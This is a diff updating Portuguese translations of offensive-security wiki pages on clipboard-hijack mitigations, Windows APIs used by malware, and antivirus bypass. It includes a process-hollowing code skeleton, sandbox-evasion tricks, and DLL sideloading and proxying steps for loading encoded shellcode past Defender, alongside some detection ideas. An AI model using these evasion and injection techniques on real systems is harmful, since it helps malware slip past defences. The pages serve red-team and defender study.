+* Event ID **4663** for file creations under `%LocalAppData%\Microsoft\Windows\WinX\` or temporary folders right before the suspicious 4688 event.
+* EDR clipboard sensors (if present) – correlate `Clipboard Write` followed immediately by a new PowerShell process.
+
+## Mitigations
+
+1. Endurecimento do navegador – desabilitar acesso de gravação à área de transferência (`dom.events.asyncClipboard.clipboardItem` etc.) ou exigir gesto do usuário.
+2. Conscientização de segurança – ensinar usuários a *digitar* comandos sensíveis ou colá-los primeiro em um editor de texto.
+3. PowerShell Constrained Language Mode / Execution Policy + Application Control para bloquear one-liners arbitrários.
+4. Controles de rede – bloquear outbound requests to known pastejacking and malware C2 domains.
+
+## Related Tricks
+
+* **Discord Invite Hijacking** often abuses the same ClickFix approach after luring users into a malicious server:

 {{#ref}}
 discord-invite-hijacking.md
 {{#endref}}

-## Referências
+## References

 - [Fix the Click: Preventing the ClickFix Attack Vector](https://unit42.paloaltonetworks.com/preventing-clickfix-attack-vector/)
 - [Pastejacking PoC – GitHub](https://github.com/dxa4481/Pastejacking)
+- [Check Point Research – Under the Pure Curtain: From RAT to Builder to Coder](https://research.checkpoint.com/2025/under-the-pure-curtain-from-rat-to-builder-to-coder/)

 {{#include ../../banners/hacktricks-training.md}}
--- a/src/reversing/common-api-used-in-malware.md
+++ b/src/reversing/common-api-used-in-malware.md
@ -1,13 +1,13 @@
-# API Comum Usado em Malware
+# APIs comuns usadas em Malware

 {{#include ../banners/hacktricks-training.md}}

 ## Genérico

-### Rede
+### Networking

-| Sockets Brutos   | Sockets WinAPI |
-| ---------------- | -------------- |
+| Raw Sockets   | WinAPI Sockets |
+| ------------- | -------------- |
 | socket()      | WSAStratup()   |
 | bind()        | bind()         |
 | listen()      | listen()       |
@ -17,6 +17,11 @@
 | write()       | send()         |
 | shutdown()    | WSACleanup()   |

+### TLS pinning and chunked transport
+
+Muitos loaders encapsulam seu stream TCP em `SslStream` e pinam o certificado leaf do servidor contra uma cópia embutida (certificate pinning). As informações/tarefas do bot são comprimidas (ex.: GZip). Quando as respostas excedem um limiar (~1 MB), os dados são fragmentados em pequenos chunks (ex.: segmentos de 16 KB) para evitar heurísticas baseadas em tamanho e reduzir picos de memória durante a desserialização.
+
+
 ### Persistência

 | Registro         | Arquivo       | Serviço                      |
@ -29,7 +34,7 @@

 ### Criptografia

-| Nome                  |
+| Name                  |
 | --------------------- |
 | WinCrypt              |
 | CryptAcquireContext() |
@ -38,35 +43,52 @@
 | CryptDecrypt()        |
 | CryptReleaseContext() |

-### Anti-Análise/VM
+### Anti-Analysis/VM

-| Nome da Função                                             | Instruções de Assembly |
+| Function Name                                             | Assembly Instructions |
 | --------------------------------------------------------- | --------------------- |
 | IsDebuggerPresent()                                       | CPUID()               |
 | GetSystemInfo()                                           | IN()                  |
 | GlobalMemoryStatusEx()                                    |                       |
 | GetVersion()                                              |                       |
-| CreateToolhelp32Snapshot \[Verificar se um processo está em execução] |                       |
-| CreateFileW/A \[Verificar se um arquivo existe]          |                       |
+| CreateToolhelp32Snapshot \[Check if a process is running] |                       |
+| CreateFileW/A \[Check if a file exist]                    |                       |

-### Stealth
+### Emulator API fingerprinting & sleep evasion
+
+Malware frequentemente faz fingerprinting de emuladores de sandbox procurando por exports virtualizados do Defender (vistos no Malware Protection Emulator). Se algum desses símbolos estiver presente (varredura case-insensitive do processo), a execução é adiada por 10–30 minutos e rechecada para desperdiçar tempo de análise.
+
+Examples of API names used as canaries:
+- `MpVmp32Entry`, `MpVmp32FastEnter`, `MpCallPreEntryPointCode`, `MpCallPostEntryPointCode`, `MpFinalize`, `MpReportEvent*`, `MpSwitchToNextThread*`
+- `VFS_*` family: `VFS_Open`, `VFS_Read`, `VFS_MapViewOfFile`, `VFS_UnmapViewOfFile`, `VFS_FindFirstFile/FindNextFile`, `VFS_CopyFile`, `VFS_DeleteFile`, `VFS_MoveFile`
+- `ThrdMgr_*`: `ThrdMgr_GetCurrentThreadHandle`, `ThrdMgr_SaveTEB`, `ThrdMgr_SwitchThreads`
+
+Primitiva típica de atraso (user-land):
+```cmd
+cmd /c timeout /t %RANDOM_IN_[600,1800]% > nul
+```
+Validação de argumentos
+- Operadores às vezes exigem que um switch de CLI de aparência benigno esteja presente antes de executar o payload (por exemplo, `/i:--type=renderer` para imitar processos filhos do Chromium). Se o switch estiver ausente, o loader sai imediatamente, dificultando a execução ingênua em sandbox.
+
+
+### Furtividade

 | Nome                     |                                                                            |
 | ------------------------ | -------------------------------------------------------------------------- |
-| VirtualAlloc             | Alocar memória (packers)                                                  |
-| VirtualProtect           | Alterar permissão de memória (packer dando permissão de execução a uma seção) |
+| VirtualAlloc             | Aloca memória (packers)                                                    |
+| VirtualProtect           | Altera permissão de memória (packer dando permissão de execução a uma seção) |
 | ReadProcessMemory        | Injeção em processos externos                                               |
 | WriteProcessMemoryA/W    | Injeção em processos externos                                               |
 | NtWriteVirtualMemory     |                                                                            |
-| CreateRemoteThread       | Injeção de DLL/Processo...                                               |
+| CreateRemoteThread       | DLL/Process injection...                                                    |
 | NtUnmapViewOfSection     |                                                                            |
 | QueueUserAPC             |                                                                            |
 | CreateProcessInternalA/W |                                                                            |

 ### Execução

-| Nome da Função    |
-| ------------------ |
+| Nome da função    |
+| ---------------- |
 | CreateProcessA/W |
 | ShellExecute     |
 | WinExec          |
@ -75,70 +97,70 @@

 ### Diversos

- GetAsyncKeyState() -- Registro de teclas
- SetWindowsHookEx -- Registro de teclas
- GetForeGroundWindow -- Obter nome da janela em execução (ou o site de um navegador)
- LoadLibrary() -- Importar biblioteca
- GetProcAddress() -- Importar biblioteca
+- GetAsyncKeyState() -- Key logging
+- SetWindowsHookEx -- Key logging
+- GetForeGroundWindow -- Obter o nome da janela em execução (ou o website a partir de um browser)
+- LoadLibrary() -- Import library
+- GetProcAddress() -- Import library
 - CreateToolhelp32Snapshot() -- Listar processos em execução
 - GetDC() -- Captura de tela
 - BitBlt() -- Captura de tela
- InternetOpen(), InternetOpenUrl(), InternetReadFile(), InternetWriteFile() -- Acessar a Internet
- FindResource(), LoadResource(), LockResource() -- Acessar recursos do executável
+- InternetOpen(), InternetOpenUrl(), InternetReadFile(), InternetWriteFile() -- Access the Internet
+- FindResource(), LoadResource(), LockResource() -- Access resources of the executable

 ## Técnicas de Malware

-### Injeção de DLL
+### DLL Injection

-Executar uma DLL arbitrária dentro de outro processo
+Execute an arbitrary DLL inside another process

-1. Localizar o processo para injetar a DLL maliciosa: CreateToolhelp32Snapshot, Process32First, Process32Next
+1. Localizar o processo no qual injetar a DLL maliciosa: CreateToolhelp32Snapshot, Process32First, Process32Next
 2. Abrir o processo: GetModuleHandle, GetProcAddress, OpenProcess
 3. Escrever o caminho para a DLL dentro do processo: VirtualAllocEx, WriteProcessMemory
 4. Criar uma thread no processo que carregará a DLL maliciosa: CreateRemoteThread, LoadLibrary

-Outras funções a serem usadas: NTCreateThreadEx, RtlCreateUserThread
+Outras funções a usar: NTCreateThreadEx, RtlCreateUserThread

-### Injeção de DLL Reflexiva
+### Reflective DLL Injection

-Carregar uma DLL maliciosa sem chamar as chamadas normais da API do Windows.\
-A DLL é mapeada dentro de um processo, resolverá os endereços de importação, corrigirá as realocações e chamará a função DllMain.
+Load a malicious DLL without calling normal Windows API calls.\
+A DLL é mapeada dentro de um processo, ela resolverá os endereços de importação, corrigirá as relocações e chamará a função DllMain.

-### Sequestro de Thread
+### Thread Hijacking

-Encontrar uma thread de um processo e fazê-la carregar uma DLL maliciosa
+Find a thread from a process and make it load a malicious DLL

 1. Encontrar uma thread alvo: CreateToolhelp32Snapshot, Thread32First, Thread32Next
 2. Abrir a thread: OpenThread
 3. Suspender a thread: SuspendThread
-4. Escrever o caminho para a DLL maliciosa dentro do processo da vítima: VirtualAllocEx, WriteProcessMemory
+4. Escrever o caminho para a DLL maliciosa dentro do processo vítima: VirtualAllocEx, WriteProcessMemory
 5. Retomar a thread carregando a biblioteca: ResumeThread

-### Injeção PE
+### PE Injection

-Injeção de Execução Portátil: O executável será escrito na memória do processo da vítima e será executado a partir daí.
+Portable Execution Injection: O executável será escrito na memória do processo vítima e será executado a partir daí.

-### Hollowing de Processo (a.k.a **RunPE**)
+### Process Hollowing (a.k.a **RunPE**)

-`Process Hollowing` é um dos truques favoritos de **evasão de defesa / execução** usados por malware do Windows. A ideia é lançar um processo *legítimo* no estado **suspenso**, remover (hollow) sua imagem original da memória e copiar um **PE arbitrário** em seu lugar. Quando a thread primária é finalmente retomada, o ponto de entrada malicioso é executado sob a aparência de um binário confiável (frequentemente assinado pela Microsoft).
+`Process Hollowing` é um dos truques favoritos de **defence-evasion / execution** usados por malware no Windows. A ideia é lançar um processo *legítimo* em estado **suspenso**, remover (hollow) sua imagem original da memória e copiar um **PE arbitrário** em seu lugar. Quando a thread primária é finalmente retomada, o entry-point malicioso é executado sob o disfarce de um binário confiável (frequentemente assinado pela Microsoft).

-Fluxo de trabalho típico:
+Fluxo típico:

-1. Criar um host benigno (por exemplo, `RegAsm.exe`, `rundll32.exe`, `msbuild.exe`) **suspenso** para que nenhuma instrução seja executada ainda.
+1. Spawn um host benigno (ex.: `RegAsm.exe`, `rundll32.exe`, `msbuild.exe`) **suspenso** para que nenhuma instrução seja executada ainda.
 ```c
 STARTUPINFOA  si = { sizeof(si) };
 PROCESS_INFORMATION pi;
 CreateProcessA("C:\\Windows\\Microsoft.NET\\Framework32\\v4.0.30319\\RegAsm.exe",
 NULL, NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &si, &pi);
 ```
-2. Ler a carga maliciosa na memória e analisar seus cabeçalhos PE para obter `SizeOfImage`, seções e o novo `EntryPoint`.
+2. Ler o payload malicioso na memória e analisar seus headers PE para obter `SizeOfImage`, seções e o novo `EntryPoint`.
 3. **NtUnmapViewOfSection** / **ZwUnmapViewOfSection** – desmapear a base da imagem original do processo suspenso.
 4. **VirtualAllocEx** – reservar memória RWX de `SizeOfImage` dentro do processo remoto.
 5. **WriteProcessMemory** – copiar os `Headers` primeiro, depois iterar sobre as seções copiando seus dados brutos.
-6. **SetThreadContext** – corrigir o valor de `EAX/RAX` (`RCX` em x64) ou `Rip` na estrutura de contexto para que `EIP` aponte para o `EntryPoint` da carga.
+6. **SetThreadContext** – patch no valor de `EAX/RAX` (`RCX` em x64) ou `Rip` na estrutura de contexto para que `EIP` aponte para o `EntryPoint` do payload.
 7. **ResumeThread** – a thread continua, executando o código fornecido pelo atacante.

-Esqueleto mínimo de prova de conceito (x86):
+Minimal proof-of-concept (x86) skeleton:
 ```c
 void RunPE(LPCSTR host, LPVOID payload, DWORD payloadSize){
 // 1. create suspended process
@ -166,25 +188,29 @@ ResumeThread(pi.hThread);
 ```
 Notas práticas observadas na campanha **DarkCloud Stealer**:

-* O loader escolheu `RegAsm.exe` (parte do .NET Framework) como host – um binário assinado que provavelmente não chamará atenção.
-* O stealer VB6 decifrado (`holographies.exe`) *não* é gravado no disco; ele existe apenas dentro do processo oco, dificultando a detecção estática.
-* Strings sensíveis (regexes, caminhos, credenciais do Telegram) são **RC4-encriptadas** por string e só são decriptadas em tempo de execução, complicando ainda mais a varredura de memória.
+* O loader escolheu `RegAsm.exe` (parte do .NET Framework) como host – um binário assinado improvável de chamar atenção.
+* O stealer VB6 decriptado (`holographies.exe`) *não* é gravado no disco; ele existe apenas dentro do processo hollowed, tornando a detecção estática mais difícil.
+* Strings sensíveis (regexes, paths, credenciais do Telegram) são **RC4-encrypted** por string e só são decriptadas em tempo de execução, complicando ainda mais a varredura de memória.

 Ideias de detecção:
-* Alertar sobre processos `CREATE_SUSPENDED` que nunca criam janelas GUI/console antes que uma região de memória seja alocada como **RWX** (raro para código benigno).
-* Procurar por uma sequência de chamadas `NtUnmapViewOfSection ➜ VirtualAllocEx ➜ WriteProcessMemory` em diferentes processos.
+* Disparar alerta para processos `CREATE_SUSPENDED` que nunca criam janelas GUI/console antes de uma região de memória ser alocada como **RWX** (raro para código benigno).
+* Procurar por uma sequência de chamadas `NtUnmapViewOfSection ➜ VirtualAllocEx ➜ WriteProcessMemory` entre processos diferentes.
+
+

 ## Hooking

- A **SSDT** (**System Service Descriptor Table**) aponta para funções do kernel (ntoskrnl.exe) ou driver GUI (win32k.sys) para que processos de usuário possam chamar essas funções.
- Um rootkit pode modificar esses ponteiros para endereços que ele controla.
- **IRP** (**I/O Request Packets**) transmitem pedaços de dados de um componente para outro. Quase tudo no kernel usa IRPs e cada objeto de dispositivo tem sua própria tabela de funções que pode ser hookada: DKOM (Manipulação Direta de Objetos do Kernel).
+- O **SSDT** (**System Service Descriptor Table**) aponta para funções do kernel (ntoskrnl.exe) ou driver GUI (win32k.sys) para que processos de usuário possam chamar essas funções.
+- Um rootkit pode modificar esses ponteiros para endereços que controla
+- As **IRP** (**I/O Request Packets**) transmitem pedaços de dados de um componente para outro. Quase tudo no kernel usa IRPs e cada device object tem sua própria tabela de funções que pode ser hooked: DKOM (Direct Kernel Object Manipulation)
 - A **IAT** (**Import Address Table**) é útil para resolver dependências. É possível hookar essa tabela para sequestrar o código que será chamado.
 - **EAT** (**Export Address Table**) Hooks. Esses hooks podem ser feitos a partir do **userland**. O objetivo é hookar funções exportadas por DLLs.
- **Inline Hooks**: Esse tipo é difícil de alcançar. Isso envolve modificar o código das próprias funções. Talvez colocando um salto no início delas.
+- **Inline Hooks**: Esse tipo é difícil de alcançar. Envolve modificar o código das próprias funções. Talvez inserindo um jump no início delas.
+

 ## Referências

 - [Unit42 – New Infection Chain and ConfuserEx-Based Obfuscation for DarkCloud Stealer](https://unit42.paloaltonetworks.com/new-darkcloud-stealer-infection-chain/)
+- [Check Point Research – Under the Pure Curtain: From RAT to Builder to Coder](https://research.checkpoint.com/2025/under-the-pure-curtain-from-rat-to-builder-to-coder/)

 {{#include ../banners/hacktricks-training.md}}
--- a/src/windows-hardening/av-bypass.md
+++ b/src/windows-hardening/av-bypass.md
@ -1,4 +1,4 @@
-# Antivirus (AV) Bypass
+# Antivírus (AV) Bypass

 {{#include ../banners/hacktricks-training.md}}

@ -6,88 +6,90 @@

 ## Parar o Defender

- [defendnot](https://github.com/es3n1n/defendnot): Uma ferramenta para impedir que o Windows Defender funcione.
- [no-defender](https://github.com/es3n1n/no-defender): Uma ferramenta para impedir que o Windows Defender funcione, simulando outro AV.
+- [defendnot](https://github.com/es3n1n/defendnot): Uma ferramenta para impedir o funcionamento do Windows Defender.
+- [no-defender](https://github.com/es3n1n/no-defender): Uma ferramenta para impedir o funcionamento do Windows Defender fingindo ser outro AV.
 - [Disable Defender if you are admin](basic-powershell-for-pentesters/README.md)

-## **AV Evasion Methodology**
+## **Metodologia de Evasão de AV**

-Atualmente, os AVs usam diferentes métodos para verificar se um arquivo é malicioso ou não: static detection, dynamic analysis, e, para os EDRs mais avançados, behavioural analysis.
+Atualmente, os AVs usam diferentes métodos para verificar se um arquivo é malicioso ou não: static detection, dynamic analysis e, para os EDRs mais avançados, behavioural analysis.

-### **Static detection**
+### **Detecção estática**

-Static detection é realizada sinalizando strings conhecidas maliciosas ou arrays de bytes em um binário ou script, e também extraindo informações do próprio arquivo (por ex.: descrição do arquivo, nome da empresa, assinaturas digitais, ícone, checksum, etc.). Isso significa que usar ferramentas públicas conhecidas pode fazer você ser detectado mais facilmente, pois provavelmente já foram analisadas e marcadas como maliciosas. Há algumas maneiras de contornar esse tipo de detecção:
+A detecção estática é feita sinalizando strings conhecidas maliciosas ou arrays de bytes em um binário ou script, e também extraindo informações do próprio arquivo (ex.: file description, company name, digital signatures, icon, checksum, etc.). Isso significa que usar ferramentas públicas conhecidas pode fazer você ser detectado mais facilmente, pois elas provavelmente já foram analisadas e marcadas como maliciosas. Há algumas formas de contornar esse tipo de detecção:

- **Encryption**
+- **Criptografia**

-Se você criptografar o binário, não haverá como o AV detectar seu programa, mas você precisará de algum tipo de loader para descriptografar e executar o programa em memória.
+Se você criptografar o binário, não haverá como o AV detectar seu programa, mas você precisará de algum loader para descriptografar e executar o programa em memória.

- **Obfuscation**
+- **Ofuscação**

-Às vezes tudo que você precisa fazer é alterar algumas strings no seu binário ou script para passar pelo AV, mas isso pode ser uma tarefa demorada dependendo do que você está tentando ofuscar.
+Às vezes tudo o que você precisa fazer é alterar algumas strings no seu binário ou script para passar pelo AV, mas isso pode ser uma tarefa demorada dependendo do que você está tentando ofuscar.

- **Custom tooling**
+- **Ferramentas customizadas**

-Se você desenvolver suas próprias ferramentas, não haverá assinaturas conhecidas ruins, mas isso demanda muito tempo e esforço.
+Se você desenvolver suas próprias ferramentas, não haverá assinaturas conhecidas como maliciosas, mas isso exige muito tempo e esforço.

 > [!TIP]
-> Uma boa forma de checar a detecção estática do Windows Defender é [ThreatCheck](https://github.com/rasta-mouse/ThreatCheck). Ele basicamente divide o arquivo em múltiplos segmentos e então manda o Defender escanear cada um individualmente; assim, pode dizer exatamente quais strings ou bytes foram sinalizados no seu binário.
+> Uma boa forma de verificar a detecção estática do Windows Defender é [ThreatCheck](https://github.com/rasta-mouse/ThreatCheck). Ele basicamente divide o arquivo em múltiplos segmentos e então solicita ao Defender que escaneie cada um individualmente; assim, pode dizer exatamente quais strings ou bytes estão sendo sinalizados no seu binário.

-Recomendo fortemente que você confira esta [YouTube playlist](https://www.youtube.com/playlist?list=PLj05gPj8rk_pkb12mDe4PgYZ5qPxhGKGf) sobre AV Evasion na prática.
+Recomendo fortemente conferir esta [playlist do YouTube](https://www.youtube.com/playlist?list=PLj05gPj8rk_pkb12mDe4PgYZ5qPxhGKGf) sobre AV Evasion prática.

-### **Dynamic analysis**
+### **Análise dinâmica**

-Dynamic analysis ocorre quando o AV executa seu binário em um sandbox e observa atividades maliciosas (ex.: tentar descriptografar e ler as senhas do navegador, realizar um minidump no LSASS, etc.). Essa parte pode ser mais complicada, mas aqui estão algumas coisas que você pode fazer para evitar sandboxes.
+Dynamic analysis é quando o AV executa seu binário em uma sandbox e monitora atividades maliciosas (ex.: tentar descriptografar e ler as senhas do navegador, realizar um minidump no LSASS, etc.). Essa parte pode ser um pouco mais complicada de contornar, mas aqui estão algumas coisas que você pode fazer para evadir sandboxes.

- **Sleep before execution** Dependendo de como está implementado, pode ser uma ótima forma de burlar a dynamic analysis do AV. Os AVs têm um tempo muito curto para escanear arquivos para não interromper o fluxo do usuário, então usar sleeps longos pode atrapalhar a análise dos binários. O problema é que muitos sandboxes dos AVs podem simplesmente pular o sleep dependendo de como foi implementado.
- **Checking machine's resources** Normalmente os sandboxes têm muito poucos recursos (ex.: < 2GB RAM), caso contrário poderiam desacelerar a máquina do usuário. Você também pode ser criativo aqui, por exemplo checando a temperatura da CPU ou até as rotações das ventoinhas; nem tudo será implementado no sandbox.
- **Machine-specific checks** Se você quer mirar um usuário cuja estação de trabalho está ligada ao domínio "contoso.local", você pode verificar o domínio do computador para ver se corresponde ao especificado; se não corresponder, você pode fazer seu programa sair.
+- **Dormir antes da execução** Dependendo de como está implementado, pode ser uma ótima forma de burlar a análise dinâmica do AV. Os AVs têm um tempo muito curto para escanear arquivos para não interromper o fluxo de trabalho do usuário, então usar sleeps longos pode atrapalhar a análise dos binários. O problema é que muitas sandboxes dos AVs podem simplesmente pular o sleep dependendo de como está implementado.
+- **Verificação dos recursos da máquina** Geralmente as sandboxes têm poucos recursos disponíveis (ex.: < 2GB RAM), caso contrário poderiam deixar a máquina do usuário lenta. Você também pode ser bem criativo aqui, por exemplo verificando a temperatura da CPU ou até as velocidades das ventoinhas; nem tudo será implementado na sandbox.
+- **Verificações específicas da máquina** Se você quer direcionar um usuário cuja workstation está ligada ao domínio "contoso.local", você pode checar o domínio do computador para ver se coincide com o especificado; se não coincidir, você pode fazer seu programa sair.

-Acontece que o nome do computador do sandbox do Microsoft Defender é HAL9TH, então você pode checar esse nome no seu malware antes da detonação; se o nome for HAL9TH, significa que você está dentro do sandbox do Defender, então pode fazer seu programa sair.
+Acontece que o nome do computador da Sandbox do Microsoft Defender é HAL9TH, então você pode checar o nome do computador no seu malware antes da detonação; se o nome for HAL9TH, significa que você está dentro da sandbox do defender, então pode fazer seu programa encerrar.

 <figure><img src="../images/image (209).png" alt=""><figcaption><p>fonte: <a href="https://youtu.be/StSLxFbVz0M?t=1439">https://youtu.be/StSLxFbVz0M?t=1439</a></p></figcaption></figure>

-Algumas outras ótimas dicas de [@mgeeky](https://twitter.com/mariuszbit) para lidar com Sandboxes
+Algumas outras dicas muito boas do [@mgeeky](https://twitter.com/mariuszbit) para lidar com Sandboxes

-<figure><img src="../images/image (248).png" alt=""><figcaption><p><a href="https://discord.com/servers/red-team-vx-community-1012733841229746240">Red Team VX Discord</a> #malware-dev canal</p></figcaption></figure>
+<figure><img src="../images/image (248).png" alt=""><figcaption><p><a href="https://discord.com/servers/red-team-vx-community-1012733841229746240">Red Team VX Discord</a> canal #malware-dev</p></figcaption></figure>

-Como mencionamos antes neste post, **ferramentas públicas** eventualmente **serão detectadas**, então você deve se perguntar algo:
+Como dissemos antes neste post, **ferramentas públicas** eventualmente **serão detectadas**, então você deve se perguntar algo:

-Por exemplo, se você quer dumpar o LSASS, **você realmente precisa usar o mimikatz**? Ou poderia usar um projeto diferente, menos conhecido, que também faça dump do LSASS.
+Por exemplo, se você quer dumpar o LSASS, **você realmente precisa usar o mimikatz**? Ou poderia usar outro projeto menos conhecido que também dumpa o LSASS?

-A resposta correta provavelmente é a segunda. Pegando o mimikatz como exemplo, é provavelmente uma das — se não a mais — peças mais sinalizadas por AVs e EDRs; embora o projeto seja ótimo, é um pesadelo trabalhar com ele para contornar AVs, então procure alternativas para o que você está tentando alcançar.
+A resposta certa provavelmente é a última. Pegando o mimikatz como exemplo, é provavelmente um dos, se não o mais sinalizado por AVs e EDRs; enquanto o projeto em si é super legal, ele também é um pesadelo para contornar AVs, então procure alternativas para o que você está tentando alcançar.

 > [!TIP]
-> Ao modificar seus payloads para evadir, certifique-se de **desativar o envio automático de samples** no Defender, e por favor, sério, **NÃO ENVIAR PARA O VIRUSTOTAL** se seu objetivo é alcançar evasão a longo prazo. Se quiser checar se seu payload é detectado por um AV específico, instale-o em uma VM, tente desativar o envio automático de samples e teste lá até ficar satisfeito com o resultado.
+> Ao modificar seus payloads para evadir, certifique-se de **desativar o envio automático de amostras** no defender, e por favor, seriamente, **NÃO ENVIE PARA O VIRUSTOTAL** se seu objetivo é alcançar evasão a longo prazo. Se você quer checar se seu payload é detectado por um AV específico, instale-o em uma VM, tente desativar o envio automático de amostras e teste lá até ficar satisfeito com o resultado.

 ## EXEs vs DLLs

-Sempre que possível, **priorize usar DLLs para evasão**; na minha experiência, arquivos DLL geralmente são **muito menos detectados** e analisados, então é um truque simples para evitar detecção em alguns casos (se seu payload tiver alguma forma de rodar como DLL, claro).
+Sempre que possível, **priorize o uso de DLLs para evasion**; na minha experiência, arquivos DLL geralmente são **muito menos detectados** e analisados, então é um truque simples para evitar detecção em alguns casos (se seu payload tiver alguma forma de rodar como DLL, claro).

-<figure><img src="../images/image (1130).png" alt=""><figcaption><p>comparação no antiscan.me de um payload Havoc EXE normal vs um payload Havoc DLL normal</p></figcaption></figure>
+Como podemos ver nesta imagem, um DLL Payload do Havoc tem uma taxa de detecção de 4/26 no antiscan.me, enquanto o payload EXE tem uma taxa de 7/26.

-Agora mostraremos alguns truques que você pode usar com arquivos DLL para ficar muito mais furtivo.
+<figure><img src="../images/image (1130).png" alt=""><figcaption><p>comparação do antiscan.me entre um payload Havoc EXE normal vs um Havoc DLL normal</p></figcaption></figure>
+
+Agora vamos mostrar alguns truques que você pode usar com arquivos DLL para ser muito mais furtivo.

 ## DLL Sideloading & Proxying

-**DLL Sideloading** aproveita a DLL search order usada pelo loader posicionando tanto a aplicação vítima quanto o(s) payload(s) maliciosos lado a lado.
+**DLL Sideloading** aproveita a ordem de busca de DLLs usada pelo loader, posicionando tanto o aplicativo vítima quanto o(s) payload(s) malicioso(s) lado a lado.

-Você pode checar programas suscetíveis a DLL Sideloading usando [Siofra](https://github.com/Cybereason/siofra) e o seguinte powershell script:
+Você pode verificar programas suscetíveis a DLL Sideloading usando [Siofra](https://github.com/Cybereason/siofra) e o seguinte powershell script:
 ```bash
 Get-ChildItem -Path "C:\Program Files\" -Filter *.exe -Recurse -File -Name| ForEach-Object {
 $binarytoCheck = "C:\Program Files\" + $_
 C:\Users\user\Desktop\Siofra64.exe --mode file-scan --enum-dependency --dll-hijack -f $binarytoCheck
 }
 ```
-Este comando exibirá a lista de programas suscetíveis a DLL hijacking dentro de "C:\Program Files\\" e os arquivos DLL que eles tentam carregar.
+Este comando exibirá a lista de programas suscetíveis a DLL hijacking dentro de "C:\Program Files\\" e quais arquivos DLL eles tentam carregar.

-Recomendo fortemente que você **explore DLL Hijackable/Sideloadable programs por conta própria**; essa técnica é bastante furtiva quando bem executada, mas se você usar programas Sideloadable conhecidos publicamente, pode ser facilmente pego.
+Recomendo fortemente que você **explore DLL Hijackable/Sideloadable programs yourself**, esta técnica é bastante furtiva quando feita corretamente, mas se você usar programas DLL Sideloadable publicamente conhecidos, pode ser facilmente pego.

-Apenas colocar uma DLL maliciosa com o nome que um programa espera carregar não fará seu payload ser executado, pois o programa espera funções específicas dentro dessa DLL; para resolver isso, usaremos outra técnica chamada **DLL Proxying/Forwarding**.
+Apenas colocar uma DLL maliciosa com o nome que um programa espera carregar não fará seu payload ser executado, pois o programa espera funções específicas dentro dessa DLL. Para resolver isso, usaremos outra técnica chamada **DLL Proxying/Forwarding**.

-**DLL Proxying** encaminha as chamadas que o programa faz da DLL proxy (maliciosa) para a DLL original, preservando a funcionalidade do programa e permitindo lidar com a execução do seu payload.
+**DLL Proxying** encaminha as chamadas que um programa faz da DLL proxy (e maliciosa) para a DLL original, preservando assim a funcionalidade do programa e permitindo controlar a execução do seu payload.

-Usarei o projeto [SharpDLLProxy](https://github.com/Flangvik/SharpDllProxy) de [@flangvik](https://twitter.com/Flangvik/)
+Vou usar o projeto [SharpDLLProxy](https://github.com/Flangvik/SharpDllProxy) do [@flangvik](https://twitter.com/Flangvik/)

 Estes são os passos que segui:
 ```
@ -96,7 +98,7 @@ Estes são os passos que segui:
 3. (Optional) Encode your shellcode using Shikata Ga Nai (https://github.com/EgeBalci/sgn)
 4. Use SharpDLLProxy to create the proxy dll (.\SharpDllProxy.exe --dll .\mimeTools.dll --payload .\demon.bin)
 ```
-O último comando nos dará 2 arquivos: um modelo de código-fonte de DLL, e a DLL original renomeada.
+O último comando nos dará 2 arquivos: um modelo de código-fonte de DLL e a DLL original renomeada.

 <figure><img src="../images/sharpdllproxy.gif" alt=""><figcaption></figcaption></figure>
 ```
@ -104,38 +106,38 @@ O último comando nos dará 2 arquivos: um modelo de código-fonte de DLL, e a D
 ```
 <figure><img src="../images/dll_sideloading_demo.gif" alt=""><figcaption></figcaption></figure>

-Tanto nosso shellcode (codificado com [SGN](https://github.com/EgeBalci/sgn)) quanto a proxy DLL têm uma taxa de detecção de 0/26 no [antiscan.me](https://antiscan.me)! Eu chamaria isso de sucesso.
+Tanto o nosso shellcode (codificado com [SGN](https://github.com/EgeBalci/sgn)) quanto o proxy DLL têm um 0/26 Detection rate em [antiscan.me](https://antiscan.me)! Eu diria que isso é um sucesso.

 <figure><img src="../images/image (193).png" alt=""><figcaption></figcaption></figure>

 > [!TIP]
-> **Recomendo fortemente** que você assista ao [S3cur3Th1sSh1t's twitch VOD](https://www.twitch.tv/videos/1644171543) sobre DLL Sideloading e também ao [ippsec's video](https://www.youtube.com/watch?v=3eROsG_WNpE) para aprender mais sobre o que discutimos com mais profundidade.
+> Eu **recomendo fortemente** que você assista ao [S3cur3Th1sSh1t's twitch VOD](https://www.twitch.tv/videos/1644171543) sobre DLL Sideloading e também [ao vídeo do ippsec](https://www.youtube.com/watch?v=3eROsG_WNpE) para aprender mais sobre o que discutimos de forma mais aprofundada.

 ### Abusing Forwarded Exports (ForwardSideLoading)

-Módulos PE do Windows podem exportar funções que são, na verdade, "forwarders": em vez de apontarem para código, a entrada de exportação contém uma string ASCII na forma `TargetDll.TargetFunc`. Quando um chamador resolve a exportação, o loader do Windows irá:
+Windows PE modules can export functions that are actually "forwarders": instead of pointing to code, the export entry contains an ASCII string of the form `TargetDll.TargetFunc`. When a caller resolves the export, the Windows loader will:

- Carregar `TargetDll` se ainda não estiver carregado
- Resolver `TargetFunc` a partir dele
+- Load `TargetDll` if not already loaded
+- Resolve `TargetFunc` from it

-Principais comportamentos a entender:
- Se `TargetDll` for um KnownDLL, ele é fornecido a partir do namespace protegido KnownDLLs (por exemplo, ntdll, kernelbase, ole32).
- Se `TargetDll` não for um KnownDLL, a ordem normal de busca de DLLs é usada, a qual inclui o diretório do módulo que está fazendo a resolução do encaminhamento.
+Key behaviors to understand:
+- If `TargetDll` is a KnownDLL, it is supplied from the protected KnownDLLs namespace (e.g., ntdll, kernelbase, ole32).
+- If `TargetDll` is not a KnownDLL, the normal DLL search order is used, which includes the directory of the module that is doing the forward resolution.

-Isso possibilita uma primitiva indireta de sideloading: encontre uma DLL assinada que exporte uma função encaminhada para um nome de módulo que não seja KnownDLL, então coloque essa DLL assinada no mesmo diretório que uma DLL controlada pelo atacante nomeada exatamente como o módulo alvo encaminhado. Quando a exportação encaminhada for invocada, o loader resolve o forward e carrega sua DLL do mesmo diretório, executando seu DllMain.
+This enables an indirect sideloading primitive: find a signed DLL that exports a function forwarded to a non-KnownDLL module name, then co-locate that signed DLL with an attacker-controlled DLL named exactly as the forwarded target module. When the forwarded export is invoked, the loader resolves the forward and loads your DLL from the same directory, executing your DllMain.

-Exemplo observado no Windows 11:
+Example observed on Windows 11:
 ```
 keyiso.dll KeyIsoSetAuditingInterface -> NCRYPTPROV.SetAuditingInterface
 ```
